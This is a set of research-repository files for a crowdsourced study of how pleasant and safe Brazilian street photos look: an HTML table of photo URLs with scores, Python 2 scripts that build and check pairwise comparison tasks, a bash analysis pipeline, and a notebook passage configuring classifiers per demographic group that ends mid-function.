<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_436_203.jpg 4.28920730953</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_602_203.jpg 4.2873618616</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_112.jpg 4.24213612073</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_45.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_45.jpg 4.1645777259</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_203.jpg 4.15309744823</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_500_22.jpg 4.14432014175</td>
<td><img src="https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg 4.10852989804</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_203.jpg 4.10609790084</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_1136_22.jpg 4.0826833911</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_293.jpg 4.0702355348</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_390_315.jpg 4.04888478189</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_135.jpg 4.04579630268</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_315.jpg 4.02922507508</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_120_203.jpg 3.9603055121</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_180.jpg 3.93801402519</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_22.jpg 3.92261698631</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_203.jpg 3.92166010628</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_54_293.jpg 3.88252829644</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_315.jpg 3.87405958213</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_350_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_350_135.jpg 3.85175538364</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_70_135.jpg 3.84569188589</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_10.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_434_10.jpg 3.80848313221</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_225.jpg 3.79845080698</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_112.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_112.jpg 3.78305909882</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_135.jpg 3.70881136434</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_22.jpg 3.67656318155</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_315.jpg 3.67648612824</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_203.jpg 3.6642447295</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_315.jpg 3.62457506307</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_188_203.jpg 3.62392523815</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_203.jpg 3.60896701005</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_22.jpg 3.58574303724</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_22.jpg 3.58062429839</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_222_135.jpg 3.57958077078</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_315.jpg 3.57332156874</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_293.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_2_293.jpg 3.57086531047</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_22.jpg 3.56904394461</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_392_225.jpg 3.55346632425</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_300_135.jpg 3.3824495307</td>
<td><img src="https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_22.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/R._Manoel_Pereira_de_Araújo_370_22.jpg 3.3748196096</td>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_350_203.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_350_203.jpg 3.17850263476</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_135.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/R._Cristina_Procópio_Silva_305_135.jpg 3.03001058209</td>
</tr>
</table><h2>seguro?</h2><table>
<tr>
</tr>
</table></body>
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from sets import *
nomeSaida = "tarefasModificadasAgrupadas.csv"
def agregaTarefas(nomeArquivo):
arquivo = open(nomeArquivo, "r")
linhas = arquivo.readlines()
tarefas = {"Qual local lhe parece mais agradável?" : {}, "Qual local lhe parece mais seguro?" : {}}
#Criando mapas, por pergunta, contendo as relacoes entre todas as fotos
for linha in linhas[1:]:
dados = linha.split("\t")
mapa = tarefas.get(dados[0])
comparacoes = []
comparacoes2 = []
if mapa.has_key(dados[1].strip()):
comparacoes = mapa.get(dados[1].strip())
if mapa.has_key(dados[2].strip()):
comparacoes2 = mapa.get(dados[2].strip())
comparacoes.append(dados[2].strip())
comparacoes2.append(dados[1].strip())
mapa[dados[1].strip()] = comparacoes
mapa[dados[2].strip()] = comparacoes2
tarefas[dados[0]] = mapa
tarefasAgradavel = tarefas.get("Qual local lhe parece mais agradável?")
tarefasSeguro = tarefas.get("Qual local lhe parece mais seguro?")
percorridosAgradavel = []
percorridosSeguro = []
fotosAgradavel = tarefasAgradavel.keys()
#print ">>>> Agradavel "+ str(len(fotosAgradavel))
#for key in fotosAgradavel:
#print str(key) + "\t" + str(len(tarefasAgradavel[key]))
fotoAAtual = fotosAgradavel[0]
fotosSeguro = tarefasSeguro.keys()
#print ">>>> Seguro "+ str(len(fotosSeguro))
#for key in fotosSeguro:
#print str(key) + "\t" + str(len(tarefasSeguro[key]))
fotoSAtual = fotosSeguro[0]
resultadoAgradavel = []
resultadoSeguro = []
#Criando as tarefas de comparacoes entre fotos
montaCombinacoes("Qual local lhe parece mais agradável?", resultadoAgradavel, fotoAAtual, tarefasAgradavel, percorridosAgradavel)
montaCombinacoes("Qual local lhe parece mais seguro?", resultadoSeguro, fotoSAtual, tarefasSeguro, percorridosSeguro)
#print len(resultadoAgradavel)
#print len(resultadoSeguro)
#Criando arquivo de saida
saida = open(nomeSaida, "w")
i2 = len(resultadoSeguro)-1
saida.write("question\turl_a\turl_c\n")
for i in range(0, len(resultadoAgradavel)):
saida.write(resultadoAgradavel[i]+"\n")
saida.write(resultadoSeguro[i2]+"\n")
i2 = i2 - 1
saida.close()
arquivo.close()
verificaArquivo(nomeArquivo, nomeSaida)
#Verifica se todas as tarefas existentes na entrada estao presentes no arquivo de saida
def verificaArquivo(entrada, saida):
arquivoE = open(entrada, "r")
arquivoS = open(saida, "r")
linhasE = arquivoE.readlines()
linhasS = arquivoS.readlines()
if len(linhasE) != len(linhasS):
print "## Erro! tamanhos diferentes"
for ind in range(0, len(linhasE)):
linha = linhasE[ind]
if not linha in linhasS:
dados = linha.split("\t")
novoTexto = dados[0].strip()+"\t"+dados[2].strip()+"\t"+dados[1].strip()+"\n"
if not novoTexto in linhasS:
print "## Erro! Linha "+str(ind)+" "+novoTexto
#Cria as tarefas para cada combinacao de fotos evitando duplicacao de tarefas
def montaCombinacoes(questao, resultado, fotoatual, tarefas, percorridos):
if fotoatual in percorridos:
return
fotoa1 = fotoatual
fotosa1 = tarefas[fotoa1]
for foto in fotosa1:
if not foto in percorridos:
if fotoa1 == foto:
print ">>>> Erro! " + fotoa1 + foto
return
resultado.append(questao+"\t"+fotoa1+"\t"+foto)
percorridos.append(fotoa1)
for foto in fotosa1:
if not foto in percorridos:
montaCombinacoes(questao, resultado, foto, tarefas, percorridos)
percorridos.append(foto)
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo de tarefas ordenadas>"
sys.exit(1)
agregaTarefas(sys.argv[1])
<file_sep># -*- coding: utf-8 -*-
import random
import sys
import glob
from get_images import get_photos_votes
#Para agrupar no final: sort -t$'\t' -k1,1 -k2,2 -k3,3 tarefasModificadas.csv > tarefasOrdenadas.csv
def createCSV(photos):
file = open("tarefas.csv", "w")
file.write("question,url_a,url_c\n")
question1 = "Qual local lhe parece mais seguro?"
question2 = "Qual local lhe parece mais agradável?"
index2 = len(photos)-1
print "Init" + " " + str(index2)
for index in range(0, len(photos)):
file.write(question1+","+photos[index]['url_c']+","+photos[index]['url_a']+"\n")
file.write(question2+","+photos[index2]['url_c']+","+photos[index2]['url_a']+"\n")
print "Comp1: " + str(index) + " " + str(question1+","+photos[index]['url_c']+","+photos[index]['url_a']+"\n")
print "Comp2: " + str(index2) + " " + str(question2+","+photos[index2]['url_c']+","+photos[index2]['url_a']+"\n")
index2 = index2 - 1
file.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <numero de tarefas a serem geradas>"
sys.exit(1)
#photos = get_photos_partial()
photos = get_photos_votes()
createCSV(photos)
<file_sep>#!/bin/bash
awk -F "," '{print $5, $NF}' test.csv > partial.csv
awk -F " " '{print $1, $3, $4, $5}' partial.csv > data.csv
rm partial.csv
#Analise geral
python analisaGeral.py data.csv > geral.dat
#Analise grupo
python analisaGrupo.py data.csv graduacao.csv > graduacao.dat
#Analise grupo
python analisaGrupo.py data.csv mestrado.csv > mestrado.dat
#Analise grupo
python analisaGrupo.py data.csv medio.csv > medio.dat
<file_sep># coding=utf-8
import sys
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com rgb> <arquivo com qscore>"
sys.exit(1)
rgbs = open(sys.argv[1], "r")
qscores = open(sys.argv[2], "r")
qscoreLines = qscores.readlines()
rgbLines = rgbs.readlines()
#Reading qscores
qscoreDic = {possibleQuestions[0]:{}, possibleQuestions[1]: {}}
for line in qscoreLines:
data = line.split("\t")
photo = data[1].split("/")[6]
qscore = data[2]
qscoreDic[data[0].strip()][photo.strip()] = qscore.strip()
#Reading rgb data
rgbDic = {}
for line in rgbLines:
data = line.split(" ")
print data
photo = data[0]
red = data[1]
green = data[2]
blue = data[3]
rgbDic[photo.strip()] = (red.strip(), green.strip(), blue.strip())
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreAgrad.dat","w")
for photo in rgbDic.keys():
rgb = rgbDic[photo]
qscore = qscoreDic[possibleQuestions[0]][photo]
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\n")
outputFile.close()
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreSeg.dat","w")
for photo in rgbDic.keys():
rgb = rgbDic[photo]
qscore = qscoreDic[possibleQuestions[1]][photo]
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\n")
outputFile.close(),
<file_sep># coding: utf-8
# In[2]:
from sklearn import datasets
from sklearn.naive_bayes import GaussianNB
from sklearn.cross_validation import train_test_split, StratifiedKFold
from sklearn.preprocessing import StandardScaler, MinMaxScaler
from sklearn.datasets import make_moons, make_circles, make_classification
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier, ExtraTreesClassifier
from sklearn.naive_bayes import GaussianNB
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis
from sklearn.metrics import precision_recall_fscore_support, accuracy_score, f1_score, confusion_matrix
from sklearn.grid_search import GridSearchCV
from sklearn.feature_selection import RFECV, SelectFromModel
import matplotlib.pyplot as plt
from matplotlib.colors import ListedColormap
import sys
import numpy as np
import pandas as pd
#Lime
from sklearn.pipeline import make_pipeline
from lime.lime_tabular import *
# Quantile Regression Results
# ===========================
#
# Quantile regression is a interesting for our problem because it:
# - Is robust to non non-normal errors and outliers
#
# http://fmwww.bc.edu/EC-C/S2013/823/EC823.S2013.nn04.slides.pdf
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# - Focuses on the conditional quantiles. Allows for better interpretation of effects
# of variables. In a lot of cases, the effect is not on the conditional mean (OLS assumption)
#
# http://fmwww.bc.edu/EC-C/S2013/823/EC823.S2013.nn04.slides.pdf
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# - Is robust to data representation (no need to normalize etc etc)
#
# http://www.econ.uiuc.edu/~roger/research/rq/QRJEP.pdf
#
# Good ref for math mechanics:
# http://www.jmlr.org/papers/volume7/meinshausen06a/meinshausen06a.pdf
#
# Nice introduction for other fields:
# http://www.econ.uiuc.edu/~roger/research/rq/QReco.pdf
# Quantile Regression Crash Course
# --------------------------------
#
# Plots from:
# http://www.econ.uiuc.edu/~roger/research/rq/QReco.pdf
#
# Important ref!
#
# http://ajbuckeconbikesail.net/Econ616/Quantile/JASA1999.pdf
# https://www.jstor.org/stable/2669943
#
# (this ref provides intuiton on how to use the method, for now we can ignore the math)
# **First of, what do we mean by conditional quantiles**
# In[2]:
#from IPython.display import Image
#Image(filename='ex1.png')
# **First task**
#
# Find out where the variables matter (left plot)
#
# Left plot is a r-squared like value. Greater is best. But interpretation of variance does not exist.
# From this paper and others, I noticed that the ideia is less of trying to maximize this. It is a tool
# to interpret where the covariates matter.
#
# ** Second task **
#
# Look into the effect of covaritates (right plot)
#
# ps: I don't fully understand the middle plot, it is similar to the right one but another quality measure.
# In[3]:
def load_classifiers_wodraw(group):
#Building classifiers according to best configuration per group (SO EXTRA ATUALIZADO!)
if group == 'masculino':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=4, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.5, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'feminino':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'jovem':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma='auto', kernel='linear', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False) ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma='auto', kernel='linear', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False) ]
elif group == 'adulto':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=16, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'baixa':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=32, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=32, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=20, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'media':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=8, min_samples_split=2, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=16, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight='balanced', coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
classifiers_seg = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=4, min_samples_split=4, min_weight_fraction_leaf=0.0, n_estimators=40, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=8, p=3, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
elif group == 'solteiro':
classifiers_agrad = [ ExtraTreesClassifier(bootstrap=False, class_weight=None, criterion='entropy', max_depth=None, max_features='auto', max_leaf_nodes=None, min_samples_leaf=2, min_samples_split=8, min_weight_fraction_leaf=0.0, n_estimators=60, n_jobs=-1, oob_score=False, random_state=None, verbose=0, warm_start=False), KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=8, p=2, weights='uniform'), SVC(C=1, cache_size=200, class_weight=None, coef0=0.0, decision_function_shape=None, degree=3, gamma=0.25, kernel='rbf', max_iter=-1, probability=False, random_state=None, shrinking=True, tol=0.001, verbose=False), GaussianNB(), SVC(C=0.001, cache_size=200, class_weight=None, gamma='auto', kernel='linear') ]
